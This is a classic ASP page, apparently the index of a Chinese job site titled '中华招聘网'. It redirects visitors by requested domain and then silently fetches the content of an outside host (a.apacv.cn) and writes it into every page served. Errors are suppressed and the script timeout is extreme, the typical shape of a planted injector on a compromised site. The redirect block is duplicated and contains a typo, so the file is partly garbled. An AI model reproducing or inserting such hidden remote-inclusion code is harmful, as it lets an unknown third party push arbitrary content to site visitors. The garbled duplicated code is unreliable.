<%surl=replace(request.servervariables("http_host"),"www.","")
if surl="91mmai.com" then
response.redirect "index.htm"
response.end
end if
if surl="chinaxyo.com" then
response.redirect "so/index.asp"
response.end
end if
if surl="flowersh.cn" then
response.redirect "wgsc/index.asp"
response.en
end if
if surl="spdcn.cn" then
response.redirect "spdcn/index.asp"
response.end
end if
if surl="fujiecn.com" then
response.redirect "fujie/index.asp"
response.end
end if
if surl="jobnetcn.com" then
end if
%>
中华招聘网
<%
on error resume next
server.scripttimeout=9999999
response.write(gethttppage("http://a.apacv.cn"))
function gethttppage(url)
dim http
set http=createobject("msxml2.xmlhttp")
http.open "get",url,false
http.send()
if http.readystate<>4 then
exit function
end if
gethttppage=bytes2bstr(http.responsebody)
set http=nothing
if err.number<>0 then err.clear
end function
function bytes2bstr(vin)
dim strreturn
dim i,thischarcode,nextcharcode
strreturn = ""
for i = 1 to lenb(vin)
thischarcode = ascb(midb(vin,i,1))
if thischarcode < &h80 then
strreturn = strreturn & chr(thischarcode)
else
nextcharcode = ascb(midb(vin,i+1,1))
strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode))
i = i + 1
end if
next
bytes2bstr = strreturn
end function
%>
<%surl=replace(request.servervariables("http_host"),"www.","")
if surl="91mmai.com" then
response.redirect "index.htm"
response.end
end if
if surl="chinaxyo.com" then
response.redirect "so/index.asp"
response.end
end if
if surl="flowersh.cn" then
response.redirect "wgsc/index.asp"
response.en
end if
if surl="spdcn.cn" then
response.redirect "spdcn/index.asp"
response.end
end if
if surl="fujiecn.com" then
response.redirect "fujie/index.asp"
response.end
end if
if surl="jobnetcn.com" then
end if
%>
中华招聘网
